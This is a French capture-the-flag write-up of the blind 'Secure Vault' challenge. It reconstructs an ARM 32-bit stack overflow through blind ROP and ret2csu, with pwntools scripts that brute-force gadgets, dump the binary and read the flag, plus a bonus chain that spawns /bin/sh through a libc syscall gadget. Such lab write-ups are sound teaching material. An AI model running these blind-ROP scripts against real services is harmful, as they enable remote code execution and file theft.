Solution de mouthon_ pour Secure Vault

pwn blind

1 janvier 2026

Le challenge est en blind, aucun fichier n’est donné, on peut seulement interagir avec le serveur.

Découverte

On essaye donc quelques payloads classiques sur le serveur :

$ nc localhost 4000
Welcome. Please enter your password:
AAAAAAAAAAAAAAAa
Wrong password. Bye.
$ nc localhost 4000
Welcome. Please enter your password:
%s
Wrong password. Bye.
$ nc localhost 4000
Welcome. Please enter your password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
$

On remarque que lorsqu’une entrée trop longue est donnée, le service ne répond pas “Wrong password. Bye.”. On peut donc supposer que le serveur a crashé à cause d’un buffer overflow. En essayant des payloads de plus en plus grandes, on observe que le crash apparaît lorsque la payload fait plus de 0x38 octets. On va donc appliquer la méthode du Blind ROP. La lecture du papier de Bittau et al. sur le sujet est fortement conseillée pour comprendre ce write-up.

Dans tous les extraits de code qui suivent, les wrappers suivants autour de pwntools seront utilisés :

def start():
    global p
    p = remote(HOST, PORT)

def enc(x):
    match x:
        case bytes() | bytearray():
            return x
        case str():
            return x.encode()
        case int():
            return str(x).encode()
        case _:
            raise ValueError("Type can not be encoded")

ru = lambda x: p.recvuntil(enc(x), drop=True)
sl = lambda x: p.sendline(enc(x))
inter = lambda : p.interactive()
sn = lambda x : p.send(enc(x))
rn = lambda n : p.recvn(n)
rl = lambda : p.recvline(drop=True)

Exploration sur l’adresse de retour

Le crash arrive lorsque l’octet à 0x38 est écrasé, on teste donc les réponses du serveur pour toutes les valeurs de cet octet :

def try_payload(payload:bytes) -> bool:
    start()
    rl()
    sn(payload)
    try:
        res = rl()
        if res and res != b"Wrong password. Bye.":
            warning(f"Interesting response for {payload} : {res}")
        p.close()
        return True
    except EOFError:
        p.close()
        return False

def bf_byte(prefix:bytes, skip:list[int]):
    context.log_level = "WARNING"
    for i in trange(256):
        if i in skip:
            print(f"Skipping {i:#x} because it hangs")
        else:
            if try_payload(prefix + p8(i)):
                print(hex(i))

def bf_first_byte():
    bf_byte(0x38*b"A", [0x1c, 0x24, 0x28, 0x2c])

On obtient les résultats suivants :

  • 0x10 (et beaucoup d’autres à partir de 0x6c): remet “Welcome. Please enter your password”
  • 0x14, 0x3c: écrit b’\xff\xeb'
  • 0x1c, 0x24, 0x28, 0x2c: hang
  • 0x30, 0x34, 0x38: b"Wrong password. Bye.", as expected
  • 0x58: b’Welcome back!’ mais crash tout de suite après
  • 0x5c: b’\xff\xeb\x04'

Au vu de la diversité des réponses, la valeur à l’offset 0x38 dans le buffer semble bien être une adresse à laquelle le programme saute. On a donc bien affaire à un buffer overflow sur la pile, et l’adresse de retour est située en 0x38.

On remarque que toutes les instructions renvoyant quelque chose sont multiples de 4, ce qui semble indiquer qu’on a affaire à une architecture à taille d’instruction fixe, par exemple ARM ou Aarch64.

L’adresse de retour originale du programme devrait finir par 0x30, 0x34 ou 0x38, puisque dans ces cas-là le programme renvoie “Wrong password. Bye.”. On bruteforce les octets suivants pour récupérer toute l’adresse de retour:

def bf_second_byte():
    bf_byte(0x38*b"A" + b"\x30", [])

#bf_second_byte()

def bf_third_byte():
    bf_byte(0x38*b"A" + b"\x30\x06", [])

def bf_fourth_byte():
    bf_byte(0x38*b"A" + b"\x30\x06\x01", [])


def bf_fifth_byte():
    bf_byte(0x38*b"A" + b"\x30\x06\x01\x00", [])

L’adresse de retour attendue semble être 0x00010630. À partir du 5e octet, le programme renvoie “Wrong password. Bye.” pour toutes les valeurs possibles de l’octet, ce qui semble indiquer que l’adresse de retour n’est écrite que sur 4 octets. On a donc affaire à un système 32-bits.

On explore d’autres adresses de retour possible à proximité de l’adresse trouvée (de 0x10000 à 0x12000). Puisque les instructions font 4 octets, on peut probe les adresses de 4 en 4 pour aller plus vite :

def bf_addr(prefix:bytes, lower_bound:int, upper_bound:int):
    context.log_level = "WARNING"
    for addr in trange(lower_bound, upper_bound, 4):
        if try_payload(prefix + p32(addr)):
                print(hex(addr))

Outre les résultats déjà connus en 0x0106XX, on obtient les résultats suivants :

  • 0x105c0, 0x105c4, 0x1077c, 0x10838, 0x10894, 0x108e4: b’Welcome. Please enter your password:'
  • 0x107d4, 0x107d8, 0x107dc, 0x107e0, 0x107ec: b’Error: cannot open /tmp/log.txt!'
  • 0x10f0: b’\xff\xeb\x04'
  • quelques hangs autour de 0x10840

Le code semble compris entre 0x10500 et 0x10900.

Recherche de gadgets

On essaye maintenant de trouver des gadgets, en suivant la méthode du Blind ROP. On utilisera 0x1337 comme “Trap” (cause un crash à coup sûr car pas dans l’adress space et pas multiple de 4), et 0x010658 comme “Stop” (renvoie toujours b’Welcome back!’, et aucune autre adresse ne renvoie ce résultat). On recherche des séquences d’un certain nombre de “pop”, suivies par un return. Pour cela, on met des Trap dans les emplacements qui devraient être pop, et un stop dans l’adresse de retour.

def find_pop_ret(count:int):
    context.log_level="WARNING"
    for addr in trange(CODE_START, CODE_END, 4):
        if addr == WELCOME_BACK:
            continue
        payload = 0x38*b"A" + flat(addr, [CRASH]*count, WELCOME_BACK, CRASH)
        if oracle_payload(payload) == "WELCOME":
            payload = 0x38*b"A" + flat(addr, [CRASH]*(count + 2))
            if oracle_payload(payload) == "CRASH":
                print(f"Potential {count} pop ret found @ {addr:#x}")

Si plusieurs adresses consécutives (ou très proches) fonctionnent, on part du principe que la dernière correspond au gadget, et que les autres exécutent auparavant d’autres instructions ne modifiant pas la stack. On garde donc seulement la dernière pour éviter les effets de bord. On trouve donc les gadgets suivants :

  • 0 pop (retour directement à l’adresse suivante sur la stack): aucun gadget
  • 1 pop: 0x1076c, 0x10888, 0x108f8
  • 2 pop: 0x1077c, 0x10838
  • 3 pop: 0x10654
  • 4, 5, ou 6 pop: aucun gadget
  • 7 pop: 0x10894, 0x108e4
  • 8 pop: aucun gadget

Les gadgets ne sont pas proches les uns des autres, ce qui pourrait indiquer que tous les registres sont pop en une seule instruction (sinon on trouverait un gadget de 2 pop juste après celui de trois pop, par exemple). On ne peut pas savoir quels registres sont pop malheureusement. On peut espérer qu’un des 1-pop va pop le registre contenant le premier argument, et bruteforce toutes les adresses de code pour essayer de trouver la fonction puts

def bf_pop_puts():
    context.log_level="WARNING"
    context.timeout = 0.1
    for gadget in one_pop_ret:
        for addr in trange(CODE_START, CODE_END, 4):
            payload = 0x38*b"A" + flat(gadget, 0x107d4, addr)
            try_payload(payload)

Malheureusement on ne trouve rien.

Le “BROP gadget” mentionné dans le papier est spécifique à x86_64, on ne peut donc pas l’utiliser dans notre cas. En revanche, on devrait pouvoir utiliser un gadget similaire, indépendamment de l’architecture à laquelle on à affaire, à savoir le CSU gadget. La lecture du papier correspondant est également fortement conseillée. Cette paire de gadgets est présente de manière consistante sur toutes les architectures dans la fonction __libc_csu_init. Elle a cependant été retirée à partir de la libc 2.34, en raison de son utilisation dans les exploits. Ce gadget se caractérise par un grand nombre de pops, il pourrait s’agir d’un de nos 7-pop. On sait qu’on a affaire à une architecture 32 bits avec instructions de 4 octets, ce qui pourrait correspondre à ARM. On désassemble donc un binaire ARM 32 bit pour regarder à quoi ressemble ce gadget sous ARM. Ça tombe bien, le FCSC 2019 proposait d’autres challenges sous ARM, on peut donc utiliser armory. Le code de __libc_csu_init est le suivant :

.text:000105D4                 PUSH    {R4-R10,LR}
.text:000105D8                 LDR     R6, =(__do_global_dtors_aux_fini_array_entry - 0x105E8)
.text:000105DC                 LDR     R5, =(__frame_dummy_init_array_entry - 0x105EC)
.text:000105E0                 ADD     R6, PC, R6      ; __do_global_dtors_aux_fini_array_entry
.text:000105E4                 ADD     R5, PC, R5      ; __frame_dummy_init_array_entry
.text:000105E8                 SUB     R6, R6, R5
.text:000105EC                 MOV     R7, R0
.text:000105F0                 MOV     R8, R1
.text:000105F4                 MOV     R9, R2
.text:000105F8                 BL      .init_proc
.text:000105FC                 MOVS    R6, R6,ASR#2
.text:00010600                 BEQ     loc_1062C
.text:00010604                 MOV     R4, #0
.text:00010608
.text:00010608 loc_10608                               ; CODE XREF: __libc_csu_init+54↓j
.text:00010608                 ADD     R4, R4, #1
.text:0001060C                 LDR     R3, [R5],#4
.text:00010610                 MOV     R2, R9
.text:00010614                 MOV     R1, R8
.text:00010618                 MOV     R0, R7
.text:0001061C                 MOV     LR, PC
.text:00010620                 BX      R3
.text:00010624                 CMP     R6, R4
.text:00010628                 BNE     loc_10608
.text:0001062C
.text:0001062C loc_1062C                               ; CODE XREF: __libc_csu_init+2C↑j
.text:0001062C                 POP     {R4-R10,LR}
.text:00010630                 BX      LR

Le code finit par une instruction qui pop 7 registres, puis PC, ça colle ! Les deux gadgets qu’on avait trouvés pour pop 7 registres sont 0x10894 et 0x108e4, qui sont espacés de 0x50. Dans armory, le gadget est en 0x1062c, et 0x50 auparavant en 0x105dc on trouve le début de la fonction __libc_csu_init, ça colle également. Pour confirmer qu’il s’agit bien de ce gadget sous cette architecture, on peut essayer de l’appeler, puis de sauter juste avant au CMP R6, R4, puis de remettre 7 registres et enfin notre stop gadget :

def explore_payload(payload:bytes):
    start()
    rl()
    sn(payload)
    inter()

def confirm_csu(addr:int):
    payload = flat(
        0x38*b"A",
        addr,
        0x1337, #R4
        CRASH, #r5
        0x1337, #R6
        4*[CRASH], #r7-10
        addr-8,
        7*[CRASH],
        WELCOME_BACK
    )
    explore_payload(payload)

On observe bien un “Welcome back” lorsque R4 et R6 ont la même valeur, et un crash lorsqu’ils ont une valeur différente.

L’idée du ret2csu est de chaîner les deux gadgets présents dans __libc_csu_init: le premier pop beaucoup de registres, et le deuxième permet un call arbitraire avec arguments à partir de ces registres :

.text:0001060C                 LDR     R3, [R5],#4
.text:00010610                 MOV     R2, R9
.text:00010614                 MOV     R1, R8
.text:00010618                 MOV     R0, R7
.text:0001061C                 MOV     LR, PC
.text:00010620                 BX      R3

L’adresse à call doit seulement être écrite en mémoire. On peut poc cette technique en appelant l’entrypoint de l’ELF. L’adresse de l’entrypoint est situé 0x18 après le début de l’ELF, et vu que les adresses de Secure Vault et armory sont très proches, on peut supposer que l’ELF est également mappé en 0x10000 pour Secure Vault. On essaye donc :


CSU_FIRST = 0x108e4
CSU_SECOND = CSU_FIRST - 0x20
ELF_START = 0x10000

def confirm_csu_2():
    payload = flat(
        0x38*b"A",
        CSU_FIRST,
        0, #R4
        ELF_START + 0x18, #r5
        0, #R6
        4*[CRASH], #r7-10
        CSU_SECOND,
        7*[CRASH],
        WELCOME_BACK
    )
    explore_payload(payload)

On vérifie bien que le programme nous remet le prompt initial lorsque r5 continent l’adresse de l’entrypoint, et crash pour d’autres valeurs de r5. On peut donc appeler des fonctions arbitraires en contrôlant leurs arguments, à condition que leur adresse soit écrite en mémoire.

Trouver la GOT

On cherche donc des adresses de fonction écrites en mémoire. Une piste évidente est la GOT. Dans armory, la GOT est située juste avant 0x21000, on essaye donc de trouver l’entrée de puts ou de printf dans la GOT pour leak l’ELF :

GOT_END = 0x21000
def bf_csu_got_puts():
    context.log_level="WARNING"
    for x in trange(30):
        got_entry = GOT_END - 4*(x+1)
        payload = flat(
            0x38*b"A",
            CSU_FIRST,
            0, #R4
            got_entry, #R5 -> addr to call
            0, #R6 unused
            ELF_START, #R7 -> R0
            0, #R8->R1
            0, #R9->R2
            0, #r10 unused
            CSU_SECOND, #LR
        )
        try_payload(payload)

Malheureusement on ne trouve rien. Il se pourrait que le binaire écoute directement sur le réseau, et communique donc via write ou send sur un socket. On tente donc un autre bf, en testant plusieurs valeurs de file descriptor :

def try_payload_all(payload:bytes) -> bool:
    start()
    rl()
    sn(payload)
    try:
        res = p.recvall()
        if res:
            warning(f"Interesting response for {payload} : {res}")
        p.close()
        return True
    except EOFError:
        p.close()
        return False

def payload_call_csu(addr, arg0, arg1, arg2):
    return flat(
        0x38*b"A",
        CSU_FIRST,
        0, #r4
        addr, #r5
        1, #r6
        arg0, #r7
        arg1, #r8
        arg2, #r9
        0, #r10
        CSU_SECOND,
    )

def bf_csu_got_write():
    context.log_level="WARNING"
    fd = 3
    for x in trange(30):
        got_entry = GOT_END - 4*(x+1)
        payload = payload_call_csu(got_entry, fd, ELF_START, 0x10, 0)
        try_payload_all(payload)

Mais toujours rien. On scanne donc plus large.

def find_function_pointers(start:int):
    context.log_level="WARNING"
    for addr in trange(start, 0x30000, 4):
        #correct payload for strcmp, strncmp, memcmp
        payload = payload_call_csu(addr, ELF_START, ELF_START, 0x10)
        payload += flat(7*[CRASH], WELCOME_BACK)
        try_payload(payload)

Et soudain, on voit le header ELF apparaître, pour 0x021020 et 0x021024 !

On peut donc leak tout l’ELF à coup de puts, ce qui est un peu laborieux puisque puts s’arrête à chaque null byte, mais on finit par y arriver :

GOT_PUTS = 0x021024

def arb_read(addr:int):
    start()
    rl()
    payload = payload_call_csu(GOT_PUTS, addr, 0, 0)
    sn(payload)
    resp = rl()
    p.close()
    return resp +b"\0"

def leak_elf():
    context.log_level = "WARNING"
    elf = b""
    with tqdm(total=0x2000) as pbar:
        while len(elf) < 0x2000:
            chunk = arb_read(ELF_START + 0x10000 + len(elf))
            elf += chunk
            pbar.update(len(chunk))
    with open("dump2.bin", "wb") as f:
        f.write(elf)

Reverse du dump

On regarde ce que contient notre dump:

$ file dump2.bin
dump2.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, missing section headers at 8684
$ strings dump2.bin
/lib/ld-linux.so.3
libc.so.6
fflush
exit
fopen
strncmp
puts
abort
stdin
strftime
read
dup2
stdout
fclose
stderr
localtime
fprintf
setbuf
__libc_start_main
GLIBC_2.4
__gmon_start__
%Y-%m-%d %H:%M:%S
/tmp/log.txt
Error: cannot open /tmp/log.txt!
ChAnG3_My_D3f4u1t_Pa$$w0rD
Welcome. Please enter your password:
Wrong password. Bye.
Welcome back!

C’est bien du ARM, et l’ELF n’a pas de section headers : normal, on l’a dump depuis la mémoire, et les sections headers ne sont pas chargés en mémoire. On a tout de même la table des strings, donc on peut voir la liste des fonctions utilisées. On trouve également le mot de passe attendu, qu’on peut tester :

$ nc localhost 4000
Welcome. Please enter your password:
ChAnG3_My_D3f4u1t_Pa$$w0rD
Welcome back!

Mais il ne se passe rien de plus.

On ouvre le dump dans IDA, les fonctions importées ne sont pas correctement identifiées en raison de l’absence de section header, mais on peut les deviner à partir des strings contenues dans le binaire et de la manière dont les fonctions sont utilisées. Le code est très simple, et ne fait pas beaucoup plus que ce qu’on avait déjà observé en jouant avec le programme :

int __fastcall main(int argc)
{
  setbuf(*MEMORY[0x20654], 0);
  setbuf(*MEMORY[0x20658], 0);
  setbuf(*MEMORY[0x2064C], 0);
  puts((int)"Welcome. Please enter your password:");
  fflush(0);
  check_password();
  puts((int)"Wrong password. Bye.");
  fflush(0);
  return 0;
}

int check_password()
{
  _BYTE v1[60]; // [sp+4h] [bp-3Ch] BYREF

  log_stuff();
  read(0, (int)v1, 256);
  return strncmp((int)v1, (int)"ChAnG3_My_D3f4u1t_Pa$$w0rD", 26);
}

int log_stuff()
{
  _DWORD *v0; // r0
  int v1; // r1
  int v2; // r2
  int v3; // r3
  int v4; // r1
  int v5; // r2
  int v6; // r3
  int v7; // r1
  int v8; // r2
  int v9; // r4
  int v11; // [sp+0h] [bp-60h] BYREF
  char v12[32]; // [sp+4h] [bp-5Ch] BYREF
  _DWORD v13[15]; // [sp+24h] [bp-3Ch] BYREF

  v11 = sub_10530(0);
  v0 = (_DWORD *)localtime((int)&v11);
  v1 = v0[1];
  v2 = v0[2];
  v3 = v0[3];
  v13[0] = *v0;
  v13[1] = v1;
  v13[2] = v2;
  v13[3] = v3;
  v4 = v0[5];
  v5 = v0[6];
  v6 = v0[7];
  v13[4] = v0[4];
  v13[5] = v4;
  v13[6] = v5;
  v13[7] = v6;
  v7 = v0[9];
  v8 = v0[10];
  v13[8] = v0[8];
  v13[9] = v7;
  v13[10] = v8;
  strftime((int)v12, 32, (int)"%Y-%m-%d %H:%M:%S", (int)v13);
  v9 = fopen((int)"/tmp/log.txt", (int)"a+");
  if ( !v9 )
  {
    puts((int)"Error: cannot open /tmp/log.txt!");
    fflush(0);
    exit(1);
  }
  sub_1053C(0);
  fprintf(v9, "%s", v12);
  fclose(v9);
  return 0;
}

Obtenir le flag

Grâce au dump, on peut identifier les entrées dans la GOT de fopen et read. C’est suffisant pour lire le flag. La paire de gagdget CSU peut être utilisée plusieurs fois d’affilée pour appeler plusieurs fonctions, on peut donc fopen pour ouvrir le fichier flag, bf le file descriptor correspondant, read le flag dans la bss, puis l’afficher avec puts. On fait auparavant un premier appel à read pour écrire “flag” et “r” (le mode d’ouverture via fopen) dans la bss.

GOT_FOPEN = 0x21010
GOT_READ = 0x21014

BSS = 0x21064
def payload_call_csu_follow(addr, arg0, arg1, arg2):
    return flat(
        0, #r4
        addr, #r5
        1, #r6
        arg0, #r7
        arg1, #r8
        arg2, #r9
        0, #r10
        CSU_SECOND,
    )


def leak_flag():

    bss_payload = b"flag\0r\0"
    payload = b""
    payload += payload_call_csu(GOT_READ, 0, BSS, 0x30)
    payload += payload_call_csu_follow(GOT_PUTS, BSS, 0, 0)
    payload += payload_call_csu_follow(GOT_FOPEN, BSS, BSS + 5, 0)
    payload += payload_call_csu_follow(GOT_READ, 5, BSS, 0x50)
    payload += payload_call_csu_follow(GOT_PUTS, BSS, 0, 0)

    assert len(payload) <= 0x100
    start()
    rl()
    sl(payload)
    sleep(0.5)
    sl(bss_payload)
    inter()

Et on obtient ainsi le flag !

Bonus : obtenir un shell

Grâce aux fonctions présentes dans la GOT, on peut lire n’importe quel fichier sur le serveur (notamment /proc/self/exe, qui permet d’avoir le vrai ELF avec ses section headers), mais un shell c’est quand même plus sympa. Pour cela, on va aller piocher des instructions supplémentaires dans la libc. On commence par récupérer une adresse de la libc dans la GOT:

def dump_got():
    payload = payload_call_csu(GOT_PUTS, GOT_READ, 0, 0)
    payload += flat(7*[CRASH], MAIN)
    start()
    rl()
    sn(payload)
    inter()

La libc semble être à la même adresse à toutes les itérations, l’ASLR n’est pas active. On va donc dumper le code situé autour de la fonction read:

LIBC_READ = 0xf6745a90
LIBC_PUTS = 0xF66DE97C

def arb_read_multiple(addr:int, length:int) -> bytes:
    res = b""
    while len(res) < length:
        chunk = arb_read(addr + len(res))
        res += chunk
    return res

def dump_libc_around_read():
    res = arb_read_multiple(LIBC_READ - 0x100, 0x200)
    print(res)
    context.update(arch="arm")
    print(context)
    print(disasm(res))

On obtient le code suivant, avec la fonction read en 0x100 :

   0:   e58d2004        str     r2, [sp, #4]
   4:   e58d3000        str     r3, [sp]
   8:   e1a04001        mov     r4, r1
   c:   e1a05000        mov     r5, r0
  10:   eb007945        bl      0x1e52c
  14:   e59f707c        ldr     r7, [pc, #124]  @ 0x98
  18:   e1a06000        mov     r6, r0
  1c:   e1a01004        mov     r1, r4
  20:   e1a00005        mov     r0, r5
  24:   e59d2004        ldr     r2, [sp, #4]
  28:   e59d3000        ldr     r3, [sp]
  2c:   ef000000        svc     0x00000000
  30:   e3700001        cmn     r0, #1
  34:   e1a04000        mov     r4, r0
  38:   8a00000d        bhi     0x74
  3c:   e1a00006        mov     r0, r6
  40:   eb00796a        bl      0x1e5f0
  44:   e1a00004        mov     r0, r4
  48:   e28dd014        add     sp, sp, #20
  4c:   e8bd40f0        pop     {r4, r5, r6, r7, lr}
  50:   e28dd008        add     sp, sp, #8
  54:   e12fff1e        bx      lr
  58:   ebfd4048        bl      0xfff50180
  5c:   e59f2038        ldr     r2, [pc, #56]   @ 0x9c
  60:   e79f2002        ldr     r2, [pc, r2]
  64:   e2631000        rsb     r1, r3, #0
  68:   e7801002        str     r1, [r0, r2]
  6c:   e3e03000        mvn     r3, #0
  70:   eaffffd9        b       0xffffffdc
  74:   ebfd4041        bl      0xfff50180
  78:   e59f3020        ldr     r3, [pc, #32]   @ 0xa0
  7c:   e79f3003        ldr     r3, [pc, r3]
  80:   e2642000        rsb     r2, r4, #0
  84:   e7802003        str     r2, [r0, r3]
  88:   e3e04000        mvn     r4, #0
  8c:   eaffffea        b       0x3c
  90:   00404000        subeq   r4, r0, r0
  94:   00082a94        muleq   r8, r4, sl
  98:   00000142        andeq   r0, r0, r2, asr #2
  9c:   0007f6bc                        @ <UNDEFINED> instruction: 0x0007f6bc
  a0:   0007f6a0        andeq   pc, r7, r0, lsr #13
  a4:   e3120040        tst     r2, #64 @ 0x40
  a8:   e92d4010        push    {r4, lr}
  ac:   1a000006        bne     0xcc
  b0:   e1a03002        mov     r3, r2
  b4:   e59fc01c        ldr     ip, [pc, #28]   @ 0xd8
  b8:   e1dc3003        bics    r3, ip, r3
  bc:   00000002        andeq   r0, r0, r2
  c0:   ebffffb1        bl      0xffffff8c
  c4:   e8bd4010        pop     {r4, lr}
  c8:   e12fff1e        bx      lr
  cc:   e59f0008        ldr     r0, [pc, #8]    @ 0xdc
  d0:   e08f0000        add     r0, pc, r0
  d4:   eb008a5a        bl      0x22a44
  d8:   00404000        subeq   r4, r0, r0
  dc:   00064f0c        andeq   r4, r6, ip, lsl #30
  e0:   e52d7004        push    {r7}            @ (str r7, [sp, #-4]!)
  e4:   e3a07003        mov     r7, #3
  e8:   ef000000        svc     0x00000000
  ec:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
  f0:   e3700001        cmn     r0, #1
  f4:   312fff1e        bxcc    lr
  f8:   eafd3f58        b       0xfff4fe60
  fc:   e1a00000        nop                     @ (mov r0, r0)
 100:   e59fc060        ldr     ip, [pc, #96]   @ 0x168
 104:   e79fc00c        ldr     ip, [pc, ip]
 108:   e33c0000        teq     ip, #0
 10c:   e52d7004        push    {r7}            @ (str r7, [sp, #-4]!)
 110:   1a000005        bne     0x12c
 114:   e3a07003        mov     r7, #3
 118:   ef000000        svc     0x00000000
 11c:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
 120:   e3700001        cmn     r0, #1
 124:   312fff1e        bxcc    lr
 128:   eafd3f4c        b       0xfff4fe60
 12c:   e92d400f        push    {r0, r1, r2, r3, lr}
 130:   eb0078fd        bl      0x1e52c
 134:   e1a0c000        mov     ip, r0
 138:   e8bd000f        pop     {r0, r1, r2, r3}
 13c:   e3a07003        mov     r7, #3
 140:   ef000000        svc     0x00000000
 144:   e1a07000        mov     r7, r0
 148:   e1a0000c        mov     r0, ip
 14c:   eb007927        bl      0x1e5f0
 150:   e1a00007        mov     r0, r7
 154:   e49de004        pop     {lr}            @ (ldr lr, [sp], #4)
 158:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
 15c:   e3700001        cmn     r0, #1
 160:   312fff1e        bxcc    lr
 164:   eafd3f3d        b       0xfff4fe60
 168:   00082944        andeq   r2, r8, r4, asr #18
 16c:   00000000        andeq   r0, r0, r0
 170:   e52d7004        push    {r7}            @ (str r7, [sp, #-4]!)
 174:   e3a07004        mov     r7, #4
 178:   ef000000        svc     0x00000000
 17c:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
 180:   e3700001        cmn     r0, #1
 184:   312fff1e        bxcc    lr
 188:   eafd3f34        b       0xfff4fe60
 18c:   e1a00000        nop                     @ (mov r0, r0)
 190:   e59fc060        ldr     ip, [pc, #96]   @ 0x1f8
 194:   e79fc00c        ldr     ip, [pc, ip]
 198:   e33c0000        teq     ip, #0
 19c:   e52d7004        push    {r7}            @ (str r7, [sp, #-4]!)
 1a0:   1a000005        bne     0x1bc
 1a4:   e3a07004        mov     r7, #4
 1a8:   ef000000        svc     0x00000000
 1ac:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
 1b0:   e3700001        cmn     r0, #1
 1b4:   312fff1e        bxcc    lr
 1b8:   eafd3f28        b       0xfff4fe60
 1bc:   e92d400f        push    {r0, r1, r2, r3, lr}
 1c0:   eb0078d9        bl      0x1e52c
 1c4:   e1a0c000        mov     ip, r0
 1c8:   e8bd000f        pop     {r0, r1, r2, r3}
 1cc:   e3a07004        mov     r7, #4
 1d0:   ef000000        svc     0x00000000
 1d4:   e1a07000        mov     r7, r0
 1d8:   e1a0000c        mov     r0, ip
 1dc:   eb007903        bl      0x1e5f0
 1e0:   e1a00007        mov     r0, r7
 1e4:   e49de004        pop     {lr}            @ (ldr lr, [sp], #4)
 1e8:   e49d7004        pop     {r7}            @ (ldr r7, [sp], #4)
 1ec:   e3700001        cmn     r0, #1
 1f0:   312fff1e        bxcc    lr
 1f4:   eafd3f19        b       0xfff4fe60
 1f8:   000828b4                        @ <UNDEFINED> instruction: 0x000828b4
 1fc:   00000000        andeq   r0, r0, r0

On trouve notamment la fonction write peu après (numéro de syscall 4). Une première idée était de dump la libc complète pour récupérer system. Le path exact de la libc pouvait être trouvé dans /proc/self/maps, et utiliser write au lieu de puts pour leak permettait de contourner le problème des null bytes. Mais la libc est un gros fichier, qui ne rentre pas entièrement dans la bss de notre programme, ce qui nécessitait plusieurs passes pour la récupérer.

Mais on peut plus simplement utiliser le svc 0 pour faire un execve directement. On utilise toujours la paire de gadgets csu pour set tous les registres qui nous intéressent. L’ennui est que r0 (premier argument) et r7 (numéro de syscall) ont alors la même valeur. Pour leur donner une valeur différente, on appelle une instruction faisant seulement bx lr, puis on peut donner une nouvelle valeur à r7 :

LIBC_SVC_0 = LIBC_READ + 0x18
LIBC_BX_LR = LIBC_READ -0x100 + 0xc8

SYS_EXECVE = 0xb

def shell():
    bss_payload = p32(LIBC_BX_LR) + b"/bin/sh\0"
    payload = b""
    payload += payload_call_csu(GOT_READ, 0, BSS, 0x30)
    payload += payload_call_csu_follow(BSS, BSS + 0x4, 0, 0) #simple return to set registers
    payload += flat(
        [
            0, 0, 0, #r4-6
            SYS_EXECVE, #r7
            0, 0, 0, #r8-10
            LIBC_SVC_0
            ])
    assert len(payload) <= 0x100
    start()
    rl()
    sl(payload)
    sleep(0.5)
    sl(bss_payload)
    inter()

Et on obtient le shell !

$ ./exploit.py REMOTE
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
SecureVault
flag
run.sh
$ cat run.sh
#!/bin/bash
qemu-arm -L /usr/arm-linux-gnueabi ./SecureVault
$